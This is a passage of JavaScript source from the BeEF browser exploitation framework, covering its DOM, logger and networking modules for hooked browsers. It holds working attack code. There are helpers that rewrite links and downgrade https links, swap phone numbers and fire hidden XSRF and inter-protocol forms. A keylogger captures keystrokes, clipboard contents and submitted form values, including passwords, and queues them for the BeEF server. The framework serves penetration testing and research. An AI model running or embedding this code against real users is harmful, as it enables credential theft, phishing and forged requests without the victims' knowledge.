  6877.      *           // By default this is #000000
  6878.      */
  6879.     grayOut: function(vis, options) {
  6880.       // in any order.  Pass only the properties you need to set.
  6881.       var options = options || {};
  6882.       var zindex = options.zindex || beef.dom.getHighestZindex()+1;
  6883.       var opacity = options.opacity || 70;
  6884.       var opaque = (opacity / 100);
  6885.       var bgcolor = options.bgcolor || '#000000';
  6886.       var dark=document.getElementById('darkenScreenObject');
  6887.       if (!dark) {
  6888.         // The dark layer doesn't exist, it's never been created.  So we'll
  6889.         // create it here and apply some basic styles.
  6890.         // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
  6891.         var tbody = document.getElementsByTagName("body")[0];
  6892.         var tnode = document.createElement('div');           // Create the layer.
  6893.             tnode.style.position='absolute';                 // Position absolutely
  6894.             tnode.style.top='0px';                           // In the top
  6895.             tnode.style.left='0px';                          // Left corner of the page
  6896.             tnode.style.overflow='hidden';                   // Try to avoid making scroll bars            
  6897.             tnode.style.display='none';                      // Start out Hidden
  6898.             tnode.id='darkenScreenObject';                   // Name it so we can find it later
  6899.         tbody.appendChild(tnode);                            // Add it to the web page
  6900.         dark=document.getElementById('darkenScreenObject');  // Get the object.
  6901.       }
  6902.       if (vis) {
  6903.         // Calculate the page width and height
  6904.         if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
  6905.             var pageWidth = document.body.scrollWidth+'px';
  6906.             var pageHeight = document.body.scrollHeight+'px';
  6907.         } else if( document.body.offsetWidth ) {
  6908.           var pageWidth = document.body.offsetWidth+'px';
  6909.           var pageHeight = document.body.offsetHeight+'px';
  6910.         } else {
  6911.            var pageWidth='100%';
  6912.            var pageHeight='100%';
  6913.         }
  6914.         //set the shader to cover the entire page and make it visible.
  6915.         dark.style.opacity=opaque;
  6916.         dark.style.MozOpacity=opaque;
  6917.         dark.style.filter='alpha(opacity='+opacity+')';
  6918.         dark.style.zIndex=zindex;
  6919.         dark.style.backgroundColor=bgcolor;
  6920.         dark.style.width= pageWidth;
  6921.         dark.style.height= pageHeight;
  6922.         dark.style.display='block';
  6923.       } else {
  6924.          dark.style.display='none';
  6925.       }
  6926.     },
  6927.  
  6928.     /**
  6929.      * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
  6930.      *  or, re-writing a document this is useful.
  6931.      */
  6932.     removeStylesheets: function() {
  6933.         $j('link[rel=stylesheet]').remove();
  6934.         $j('style').remove();
  6935.     },
  6936.    
  6937.     /**
  6938.      * Create a form element with the specified parameters, appending it to the DOM if append == true
  6939.      * @param: {Hash} params: params to be applied to the form element
  6940.      * @param: {Boolean} append: automatically append the form to the body
  6941.      * @return: {Object} a form object
  6942.      */
  6943.     createForm: function(params, append) {
  6944.         var form = $j('<form></form>').attr(params);
  6945.         if (append)
  6946.             $j('body').append(form);
  6947.         return form;
  6948.     },
  6949.    
  6950.     /**
  6951.      * Get the location of the current page.
  6952.      * @return: the location.
  6953.      */
  6954.     getLocation: function() {
  6955.         return document.location.href;
  6956.     },
  6957.    
  6958.     /**
  6959.      * Get links of the current page.
  6960.      * @return: array of URLs.
  6961.      */
  6962.     getLinks: function() {
  6963.         var linksarray = [];
  6964.         var links = document.links;
  6965.         for(var i = 0; i<links.length; i++) {
  6966.             linksarray = linksarray.concat(links[i].href)      
  6967.         };
  6968.         return linksarray
  6969.     },
  6970.    
  6971.     /**
  6972.      * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
  6973.      * @param: {String} url: the url to be rewritten
  6974.      * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  6975.      * @return: {Number} the amount of links found in the DOM and rewritten.
  6976.      */
  6977.     rewriteLinks: function(url, selector) {
  6978.         var sel = (selector == null) ? 'a' : selector;
  6979.         return $j(sel).each(function() {
  6980.             if ($j(this).attr('href') != null)
  6981.             {
  6982.                 $j(this).attr('href', url).click(function() { return true; });
  6983.             }
  6984.         }).length;
  6985.     },
  6986.  
  6987.     /**
  6988.      * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
  6989.      * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
  6990.      * @param: {String} url: the url to be rewritten
  6991.      * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  6992.      * @return: {Number} the amount of links found in the DOM and rewritten.
  6993.      */
  6994.     rewriteLinksClickEvents: function(url, selector) {
  6995.         var sel = (selector == null) ? 'a' : selector;
  6996.         return $j(sel).each(function() {
  6997.             if ($j(this).attr('href') != null)
  6998.             {
  6999.                 $j(this).click(function() {this.href=url});
  7000.             }
  7001.         }).length;
  7002.     },
  7003.  
  7004.     /**
  7005.      * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
  7006.      * @param: {String} old_protocol: the old link protocol to be rewritten
  7007.      * @param: {String} new_protocol: the new link protocol to be written
  7008.      * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  7009.      * @return: {Number} the amount of links found in the DOM and rewritten.
  7010.      */
  7011.     rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
  7012.  
  7013.         var count = 0;
  7014.         var re = new RegExp(old_protocol+"://", "gi");
  7015.         var sel = (selector == null) ? 'a' : selector;
  7016.  
  7017.         $j(sel).each(function() {
  7018.             if ($j(this).attr('href') != null) {
  7019.                 var url = $j(this).attr('href');
  7020.                 if (url.match(re)) {
  7021.                     $j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });
  7022.                     count++;
  7023.                 }
  7024.             }
  7025.         });
  7026.  
  7027.         return count;
  7028.     },
  7029.  
  7030.     /**
  7031.      * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
  7032.      * @param: {String} new_number: the new link telephone number to be written
  7033.      * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  7034.      * @return: {Number} the amount of links found in the DOM and rewritten.
  7035.      */
  7036.     rewriteTelLinks: function(new_number, selector) {
  7037.  
  7038.         var count = 0;
  7039.         var re = new RegExp("tel:/?/?.*", "gi");
  7040.         var sel = (selector == null) ? 'a' : selector;
  7041.  
  7042.         $j(sel).each(function() {
  7043.             if ($j(this).attr('href') != null) {
  7044.                 var url = $j(this).attr('href');
  7045.                 if (url.match(re)) {
  7046.                     $j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
  7047.                     count++;
  7048.                 }
  7049.             }
  7050.         });
  7051.  
  7052.         return count;
  7053.     },
  7054.  
  7055.     /**
  7056.      *  Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
  7057.      * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
  7058.      * @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
  7059.      */
  7060.     parseAppletParams: function(params){
  7061.          var result = '';
  7062.          for (i in params){
  7063.            var param = params[i];
  7064.            for(key in param){
  7065.               result += "<param name='" + key + "' value='" + param[key] + "' />";
  7066.            }
  7067.          }
  7068.         return result;
  7069.     },
  7070.  
  7071.     /**
  7072.      * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
  7073.      * example usage in the code, using a JAR archive (recommended and faster):
  7074.      * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
  7075.      * example usage in the code, using codebase:
  7076.      * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
  7077.      * @params: {String} id: reference identifier to the applet.
  7078.      * @params: {String} code: name of the class to be loaded. For example, beef.class.
  7079.      * @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
  7080.      * @params: {String} archive: the jar that contains the code.
  7081.      * @params: {String} params: an array of additional params that the applet except.
  7082.      */
  7083.     attachApplet: function(id, name, code, codebase, archive, params) {
  7084.         var content = null;
  7085.         if (beef.browser.isIE()) {
  7086.             content = "" + // the classid means 'use the latest JRE available to launch the applet'
  7087.                 "<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
  7088.                 "height='0' width='0' name='" + name + "'> " +
  7089.                 "<param name='code' value='" + code + "' />";
  7090.  
  7091.             if (codebase != null) {
  7092.                 content += "<param name='codebase' value='" + codebase + "' />"
  7093.             }
  7094.             if (archive != null){
  7095.                 content += "<param name='archive' value='" + archive + "' />";
  7096.             }
  7097.             if (params != null) {
  7098.                 content += beef.dom.parseAppletParams(params);
  7099.             }
  7100.             content += "</object>";
  7101.         }
  7102.         if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
  7103.  
  7104.             if (codebase != null) {
  7105.                 content = "" +
  7106.                     "<applet id='" + id + "' code='" + code + "' " +
  7107.                     "codebase='" + codebase + "' " +
  7108.                     "height='0' width='0' name='" + name + "'>";
  7109.             } else {
  7110.                 content = "" +
  7111.                     "<applet id='" + id + "' code='" + code + "' " +
  7112.                     "archive='" + archive + "' " +
  7113.                     "height='0' width='0' name='" + name + "'>";
  7114.             }
  7115.  
  7116.             if (params != null) {
  7117.                 content += beef.dom.parseAppletParams(params);
  7118.             }
  7119.             content += "</applet>";
  7120.         }
  7121.         // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
  7122. //        if (beef.browser.isFF()) {
  7123. //            if (codebase != null) {
  7124. //                content = "" +
  7125. //                    "<embed id='" + id + "' code='" + code + "' " +
  7126. //                    "type='application/x-java-applet' codebase='" + codebase + "' " +
  7127. //                    "height='0' width='0' name='" + name + "'>";
  7128. //            } else {
  7129. //                content = "" +
  7130. //                    "<embed id='" + id + "' code='" + code + "' " +
  7131. //                    "type='application/x-java-applet' archive='" + archive + "' " +
  7132. //                    "height='0' width='0' name='" + name + "'>";
  7133. //            }
  7134. //
  7135. //            if (params != null) {
  7136. //                content += beef.dom.parseAppletParams(params);
  7137. //            }
  7138. //            content += "</embed>";
  7139. //        }
  7140.         $j('body').append(content);
  7141.     },
  7142.  
  7143.     /**
  7144.      * Given an id, remove the applet from the DOM.
  7145.      * @params: {String} id: reference identifier to the applet.
  7146.      */
  7147.     detachApplet: function(id) {
  7148.         $j('#' + id + '').detach();
  7149.     },
  7150.  
  7151.     /**
  7152.      * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
  7153.      * @params: {String} action: the form action attribute, where the request will be sent.
  7154.      * @params: {String} method: HTTP method, usually POST.
  7155.      * @params: {String} enctype: form encoding type
  7156.      * @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
  7157.      *         example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
  7158.      */
  7159.     createIframeXsrfForm: function(action, method, enctype, inputs){
  7160.         var iframeXsrf = beef.dom.createInvisibleIframe();
  7161.  
  7162.         var formXsrf = document.createElement('form');
  7163.         formXsrf.setAttribute('action',  action);
  7164.         formXsrf.setAttribute('method',  method);
  7165.         formXsrf.setAttribute('enctype', enctype);
  7166.  
  7167.         var input = null;
  7168.         for (i in inputs){
  7169.             var attributes = inputs[i];
  7170.             input = document.createElement('input');
  7171.                 for(key in attributes){
  7172.                     if (key == 'name' && attributes[key] == 'submit') {
  7173.                       // workaround for https://github.com/beefproject/beef/issues/1117
  7174.                       beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
  7175.                       input.setAttribute('Submit', attributes[key]);
  7176.                     } else {
  7177.                       input.setAttribute(key, attributes[key]);
  7178.                     }
  7179.                 }
  7180.             formXsrf.appendChild(input);
  7181.         }
  7182.         iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
  7183.         formXsrf.submit();
  7184.  
  7185.         return iframeXsrf;
  7186.     },
  7187.  
  7188.     /**
  7189.      * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
  7190.      * @params: {String} rhost: remote host ip/domain
  7191.      * @params: {String} rport: remote port
  7192.      * @params: {String} commands: protocol commands to be executed by the remote host:port service
  7193.      */
  7194.     createIframeIpecForm: function(rhost, rport, path, commands){
  7195.         var iframeIpec = beef.dom.createInvisibleIframe();
  7196.  
  7197.         var formIpec = document.createElement('form');
  7198.         formIpec.setAttribute('action',  'http://'+rhost+':'+rport+path);
  7199.         formIpec.setAttribute('method',  'POST');
  7200.         formIpec.setAttribute('enctype', 'multipart/form-data');
  7201.  
  7202.         input = document.createElement('textarea');
  7203.         input.setAttribute('name', Math.random().toString(36).substring(5));
  7204.         input.value = commands;
  7205.         formIpec.appendChild(input);
  7206.         iframeIpec.contentWindow.document.body.appendChild(formIpec);
  7207.         formIpec.submit();
  7208.  
  7209.         return iframeIpec;
  7210.     }
  7211.  
  7212. };
  7213.  
  7214. beef.regCmp('beef.dom');
  7215.  
  7216.  
  7217. //
  7218. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  7219. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  7220. // See the file 'doc/COPYING' for copying permission
  7221. //
  7222.  
  7223. /*!
  7224.  * @literal object: beef.logger
  7225.  *
  7226.  * Provides logging capabilities.
  7227.  */
  7228. beef.logger = {
  7229.    
  7230.     running: false,
  7231.     /**
  7232.     * Internal logger id
  7233.     */
  7234.     id: 0,
  7235.     /**
  7236.      * Holds events created by user, to be sent back to BeEF
  7237.      */
  7238.     events: [],
  7239.     /**
  7240.      * Holds current stream of key presses
  7241.      */
  7242.     stream: [],
  7243.     /**
  7244.      * Contains current target of key presses
  7245.      */
  7246.     target: null,
  7247.     /**
  7248.      * Holds the time the logger was started
  7249.      */
  7250.     time: null,
  7251.     /**
  7252.     * Holds the event details to be sent to BeEF
  7253.     */
  7254.     e: function() {
  7255.         this.id = beef.logger.get_id();
  7256.         this.time = beef.logger.get_timestamp();
  7257.         this.type = null;
  7258.         this.x = 0;
  7259.         this.y = 0;
  7260.         this.target = null;
  7261.         this.data = null;
  7262.         this.mods = null;
  7263.     },
  7264.     /**
  7265.      * Prevents from recursive event handling on form submission
  7266.      */
  7267.     in_submit: false,
  7268.    
  7269.     /**
  7270.      * Starts the logger
  7271.      */
  7272.     start: function() {
  7273.  
  7274.         beef.browser.hookChildFrames();
  7275.         this.running = true;
  7276.         var d = new Date();
  7277.         this.time = d.getTime();
  7278.  
  7279.         $j(document).off('keypress');
  7280.         $j(document).off('click');
  7281.         $j(window).off('focus');
  7282.         $j(window).off('blur');
  7283.         $j('form').off('submit');
  7284.         $j(document.body).off('copy');
  7285.         $j(document.body).off('cut');
  7286.         $j(document.body).off('paste');
  7287.  
  7288.         if (!!window.console && typeof window.console == "object") {
  7289.           try {
  7290.             var oldInfo = window.console.info;
  7291.             console.info = function (message) {
  7292.               beef.logger.console('info', message);
  7293.               oldInfo.apply(console, arguments);
  7294.             };
  7295.             var oldLog = window.console.log;
  7296.             console.log = function (message) {
  7297.               beef.logger.console('log', message);
  7298.               oldLog.apply(console, arguments);
  7299.             };
  7300.             var oldWarn = window.console.warn;
  7301.             console.warn = function (message) {
  7302.               beef.logger.console('warn', message);
  7303.               oldWarn.apply(console, arguments);
  7304.             };
  7305.             var oldDebug = window.console.debug;
  7306.             console.debug = function (message) {
  7307.               beef.logger.console('debug', message);
  7308.               oldDebug.apply(console, arguments);
  7309.             };
  7310.             var oldError = window.console.error;
  7311.             console.error = function (message) {
  7312.               beef.logger.console('error', message);
  7313.               oldError.apply(console, arguments);
  7314.             };
  7315.          } catch(e) {}
  7316.        }
  7317.  
  7318.         $j(document).keypress(
  7319.             function(e) { beef.logger.keypress(e); }
  7320.         ).click(
  7321.             function(e) { beef.logger.click(e); }
  7322.         );
  7323.         $j(window).focus(
  7324.             function(e) { beef.logger.win_focus(e); }
  7325.         ).blur(
  7326.             function(e) { beef.logger.win_blur(e); }
  7327.         );
  7328.         $j('form').submit(
  7329.             function(e) {
  7330.                 beef.logger.submit(e);
  7331.             }
  7332.         );
  7333.         $j(document.body).on('copy', function() {
  7334.             setTimeout("beef.logger.copy();", 10);
  7335.         });
  7336.         $j(document.body).on('cut', function() {
  7337.             setTimeout("beef.logger.cut();", 10);
  7338.         });
  7339.         $j(document.body).on('paste', function() {
  7340.             beef.logger.paste();
  7341.         });
  7342.     },
  7343.    
  7344.     /**
  7345.      * Stops the logger
  7346.      */
  7347.     stop: function() {
  7348.         this.running = false;
  7349.         clearInterval(this.timer);
  7350.         $j(document).off('keypress');
  7351.         $j(document).off('click');
  7352.         $j(window).off('focus');
  7353.         $j(window).off('blur');
  7354.         $j('form').off('submit');
  7355.         $j(document.body).off('copy');
  7356.         $j(document.body).off('cut');
  7357.         $j(document.body).off('paste');
  7358.         // TODO: reset console
  7359.     },
  7360.  
  7361.     /**
  7362.     * Get id
  7363.     */
  7364.     get_id: function() {
  7365.         this.id++;
  7366.         return this.id;
  7367.     },
  7368.  
  7369.     /**
  7370.      * Click function fires when the user clicks the mouse.
  7371.      */
  7372.     click: function(e) {
  7373.         var c = new beef.logger.e();
  7374.         c.type = 'click';
  7375.         c.x = e.pageX;
  7376.         c.y = e.pageY;
  7377.         c.target = beef.logger.get_dom_identifier(e.target);
  7378.         this.events.push(c);
  7379.     },
  7380.    
  7381.     /**
  7382.      * Fires when the window element has regained focus
  7383.      */
  7384.     win_focus: function(e) {
  7385.         var f = new beef.logger.e();
  7386.         f.type = 'focus';
  7387.         this.events.push(f);
  7388.     },
  7389.    
  7390.     /**
  7391.      * Fires when the window element has lost focus
  7392.      */
  7393.     win_blur: function(e) {
  7394.         var b = new beef.logger.e();
  7395.         b.type = 'blur';
  7396.         this.events.push(b);
  7397.     },
  7398.    
  7399.     /**
  7400.      * Keypress function fires everytime a key is pressed.
  7401.      * @param {Object} e: event object
  7402.      */
  7403.     keypress: function(e) {
  7404.         if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
  7405.         {
  7406.             beef.logger.push_stream();
  7407.             this.target = e.target;
  7408.         }
  7409.         this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
  7410.     },
  7411.    
  7412.     /**
  7413.      * Copy function fires when the user copies data to the clipboard.
  7414.      */
  7415.     copy: function(x) {
  7416.         try {
  7417.             var c = new beef.logger.e();
  7418.             c.type = 'copy';
  7419.             c.data = clipboardData.getData("Text");
  7420.             this.events.push(c);
  7421.         } catch(e) {}
  7422.     },
  7423.  
  7424.     /**
  7425.      * Cut function fires when the user cuts data to the clipboard.
  7426.      */
  7427.     cut: function() {
  7428.         try {
  7429.             var c = new beef.logger.e();
  7430.             c.type = 'cut';
  7431.             c.data = clipboardData.getData("Text");
  7432.             this.events.push(c);
  7433.         } catch(e) {}
  7434.     },
  7435.  
  7436.         /**
  7437.          * Console function fires when data is sent to the browser console.
  7438.          */
  7439.         console: function(type, message) {
  7440.         try {
  7441.             var c = new beef.logger.e();
  7442.             c.type = 'console';
  7443.             c.data = type + ': ' + message;
  7444.             this.events.push(c);
  7445.         } catch(e) {}
  7446.     },
  7447.  
  7448.     /**
  7449.      * Paste function fires when the user pastes data from the clipboard.
  7450.      */
  7451.     paste: function() {
  7452.         try {
  7453.             var c = new beef.logger.e();
  7454.             c.type = 'paste';
  7455.             c.data = clipboardData.getData("Text");
  7456.             this.events.push(c);
  7457.         } catch(e) {}
  7458.     },
  7459.  
  7460.     /**
  7461.      * Submit function fires whenever a form is submitted
  7462.      * TODO: Cleanup this function
  7463.      */
  7464.     submit: function(e) {
  7465.         if (beef.logger.in_submit) {
  7466.             return true;
  7467.         }
  7468.         try {
  7469.             var f = new beef.logger.e();
  7470.             f.type = 'submit';
  7471.             f.target = beef.logger.get_dom_identifier(e.target);
  7472.             var jqForms = $j(e.target);
  7473.             var values = jqForms.find('input').map(function() {
  7474.                     var inp = $j(this);    
  7475.                     return inp.attr('name') + '=' + inp.val();
  7476.                 }).get().join();
  7477.             beef.debug('submitting form inputs: ' + values);
  7478.             /*
  7479.             for (var i = 0; i < e.target.elements.length; i++) {
  7480.                 values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
  7481.             }
  7482.             */
  7483.             f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
  7484.             this.events.push(f);
  7485.             this.queue();
  7486.             this.target = null;
  7487.             beef.net.flush(function done() {
  7488.                 beef.debug("Submitting the form");
  7489.                 beef.logger.in_submit = true;
  7490.                 jqForms.submit();
  7491.                 beef.logger.in_submit = false;
  7492.                 beef.debug("Done submitting");
  7493.             });
  7494.             e.preventDefault();
  7495.             return false;
  7496.         } catch(e) {}
  7497.     },
  7498.    
  7499.     /**
  7500.      * Pushes the current stream to the events queue
  7501.      */
  7502.     push_stream: function() {
  7503.         if (this.stream.length > 0)
  7504.         {
  7505.             this.events.push(beef.logger.parse_stream());
  7506.             this.stream = [];
  7507.         }
  7508.     },
  7509.    
  7510.     /**
  7511.      * Translate DOM Object to a readable string
  7512.      */
  7513.     get_dom_identifier: function(target) {
  7514.         target = (target == null) ? this.target : target;
  7515.         var id = '';
  7516.         if (target)
  7517.         {
  7518.             id = target.tagName.toLowerCase();
  7519.             id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
  7520.             id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
  7521.         }
  7522.         return id;
  7523.     },
  7524.    
  7525.     /**
  7526.      * Formats the timestamp
  7527.      * @return {String} timestamp string
  7528.      */
  7529.     get_timestamp: function() {
  7530.         var d = new Date();
  7531.         return ((d.getTime() - this.time) / 1000).toFixed(3);
  7532.     },
  7533.    
  7534.     /**
  7535.      * Parses stream array and creates history string
  7536.      */
  7537.     parse_stream: function() {
  7538.         var s = '';
  7539.         var mods = '';
  7540.         for (var i in this.stream){
  7541.          try{
  7542.             var mod = this.stream[i]['modifiers'];
  7543.             s += String.fromCharCode(this.stream[i]['char']);
  7544.             if(typeof mod != 'undefined' &&
  7545.                       (mod['alt'] == true ||
  7546.                       mod['ctrl'] == true ||
  7547.                       mod['shift'] == true)){
  7548.                 mods += (mod['alt']) ? ' [Alt] ' : '';
  7549.                 mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
  7550.                 mods += (mod['shift']) ? ' [Shift] ' : '';
  7551.                 mods += String.fromCharCode(this.stream[i]['char']);
  7552.             }
  7553.  
  7554.          }catch(e){}
  7555.         }
  7556.         var k = new beef.logger.e();
  7557.         k.type = 'keys';
  7558.         k.target = beef.logger.get_dom_identifier();
  7559.         k.data = s;
  7560.         k.mods = mods;
  7561.         return k;
  7562.     },
  7563.    
  7564.     /**
  7565.      * Queue results to be sent back to framework
  7566.      */
  7567.     queue: function() {
  7568.         beef.logger.push_stream();
  7569.         if (this.events.length > 0)
  7570.         {
  7571.             beef.net.queue('/event', 0, this.events);
  7572.             this.events = [];
  7573.         }
  7574.     }
  7575.        
  7576. };
  7577.  
  7578. beef.regCmp('beef.logger');
  7579.  
  7580.  
  7581. //
  7582. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  7583. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  7584. // See the file 'doc/COPYING' for copying permission
  7585. //
  7586.  
  7587. /*!
  7588.  * @literal object: beef.net
  7589.  *
  7590.  * Provides basic networking functions,
  7591.  * like beef.net.request and beef.net.forgeRequest,
  7592.  * used by BeEF command modules and the Requester extension,
  7593.  * as well as beef.net.send which is used to return commands
  7594.  * to BeEF server-side components.
  7595.  *
  7596.  * Also, it contains the core methods used by the XHR-polling
  7597.  * mechanism (flush, queue)
  7598.  */
  7599. beef.net = {
  7600.  
  7601.     host: "127.0.0.1",
  7602.     port: "3000",
  7603.     hook: "/hook.js",
  7604.     httpproto: "http",
  7605.     handler: '/dh',
  7606.     chop: 500,
  7607.     pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
  7608.     sid_count: 0,
  7609.     cmd_queue: [],
  7610.  
  7611.     /**
  7612.      * Command object. This represents the data to be sent back to BeEF,
  7613.      * using the beef.net.send() method.
  7614.      */
  7615.     command: function () {
  7616.         this.cid = null;
  7617.         this.results = null;
  7618.         this.status = null;
  7619.         this.handler = null;
  7620.         this.callback = null;
  7621.     },
  7622.  
  7623.     /**
  7624.      * Packet object. A single chunk of data. X packets -> 1 stream
  7625.      */
  7626.     packet: function () {
  7627.         this.id = null;
  7628.         this.data = null;
  7629.     },
  7630.  
  7631.     /**
  7632.      * Stream object. Contains X packets, which are command result chunks.
  7633.      */
  7634.     stream: function () {
  7635.         this.id = null;
  7636.         this.packets = [];
  7637.         this.pc = 0;
  7638.         this.get_base_url_length = function () {
  7639.             return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
  7640.         };
  7641.         this.get_packet_data = function () {
  7642.             var p = this.packets.shift();
  7643.             return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
  7644.         };
  7645.     },
  7646.  
  7647.     /**
  7648.      * Response Object - used in the beef.net.request callback
  7649.      * NOTE: as we are using async mode, the response object will be empty if returned.
  7650.      * Using sync mode, request obj fields will be populated.
  7651.      */
  7652.     response: function () {
  7653.         this.status_code = null;        // 500, 404, 200, 302
  7654.         this.status_text = null;        // success, timeout, error, ...
  7655.         this.response_body = null;      // "<html>…." if not a cross-origin request
  7656.         this.port_status = null;        // tcp port is open, closed or not http
  7657.         this.was_cross_domain = null;   // true or false
  7658.         this.was_timedout = null;       // the user specified timeout was reached
  7659.         this.duration = null;           // how long it took for the request to complete
  7660.         this.headers = null;            // full response headers
  7661.     },
  7662.  
  7663.     /**
  7664.      * Queues the specified command results.
  7665.      * @param: {String} handler: the server-side handler that will be called
  7666.      * @param: {Integer} cid: command id
  7667.      * @param: {String} results: the data to send
  7668.      * @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
  7669.      * @param: {Function} callback: the function to call after execution
  7670.      */
  7671.     queue: function (handler, cid, results, status, callback) {
  7672.         if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
  7673.             var s = new beef.net.command();
  7674.             s.cid = cid;
  7675.             s.results = beef.net.clean(results);
  7676.             s.status = status;
  7677.             s.callback = callback;
  7678.             s.handler = handler;
  7679.             this.cmd_queue.push(s);
  7680.         }
  7681.     },
  7682.  
  7683.     /**
  7684.      * Queues the current command results and flushes the queue straight away.
  7685.      * NOTE: Always send Browser Fingerprinting results
  7686.      * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
  7687.      * even if WebSockets are enabled.
  7688.      * @param: {String} handler: the server-side handler that will be called
  7689.      * @param: {Integer} cid: command id
  7690.      * @param: {String} results: the data to send
  7691.      * @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
  7692.      * @param: {Function} callback: the function to call after execution
  7693.      * @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
  7694.      */
  7695.     send: function (handler, cid, results, exec_status, callback) {
  7696.         // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
  7697.         var status = 0;
  7698.         if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
  7699.  
  7700.         if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
  7701.             this.queue(handler, cid, results, status, callback);
  7702.             this.flush();
  7703.         } else {
  7704.             try {
  7705.                 beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
  7706.                     '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
  7707.                     '", "status": "' + exec_status +
  7708.                     '", "callback": "' + callback +
  7709.                     '","bh":"' + beef.session.get_hook_session_id() + '" }');
  7710.             } catch (e) {
  7711.                 this.queue(handler, cid, results, status, callback);
  7712.                 this.flush();
  7713.             }
  7714.         }
  7715.  
  7716.         return status;
  7717.     },
  7718.  
  7719.     /**
  7720.      * Flush all currently queued command results to the framework,
  7721.      * chopping the data in chunks ('chunk' method) which will be re-assembled
  7722.      * server-side by the network stack.
  7723.      * NOTE: currently 'flush' is used only with the default
  7724.      * XHR-polling mechanism. If WebSockets are used, the data is sent
  7725.      * back to BeEF straight away.
  7726.      */
  7727.     flush: function (callback) {
  7728.         if (this.cmd_queue.length > 0) {
  7729.             var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
  7730.             this.cmd_queue.length = 0;
  7731.             this.sid_count++;
  7732.             var stream = new this.stream();
  7733.             stream.id = this.sid_count;
  7734.             var pad = stream.get_base_url_length() + this.pad;
  7735.             //cant continue if chop amount is too low
  7736.             if ((this.chop - pad) > 0) {
  7737.                 var data = this.chunk(data, (this.chop - pad));
  7738.                 for (var i = 1; i <= data.length; i++) {
  7739.                     var packet = new this.packet();
  7740.                     packet.id = i;
  7741.                     packet.data = data[(i - 1)];
  7742.                     stream.packets.push(packet);
  7743.                 }
  7744.                 stream.pc = stream.packets.length;
  7745.                 this.push(stream, callback);
  7746.             }
  7747.         } else {
  7748.             if ((typeof callback != 'undefined') && (callback != null)) {
  7749.                 callback();
  7750.             }
  7751.         }
  7752.     },
  7753.  
  7754.     /**
  7755.      * Split the input data into chunk lengths determined by the amount parameter.
  7756.      * @param: {String} str: the input data
  7757.      * @param: {Integer} amount: chunk length
  7758.      */
  7759.     chunk: function (str, amount) {
  7760.         if (typeof amount == 'undefined') n = 2;
  7761.         return str.match(RegExp('.{1,' + amount + '}', 'g'));
  7762.     },
  7763.  
  7764.     /**
  7765.      * Push the input stream back to the BeEF server-side components.
  7766.      * It uses beef.net.request to send back the data.
  7767.      * @param: {Object} stream: the stream object to be sent back.
  7768.      */
  7769.     push: function (stream, callback) {
  7770.         //need to implement wait feature here eventually
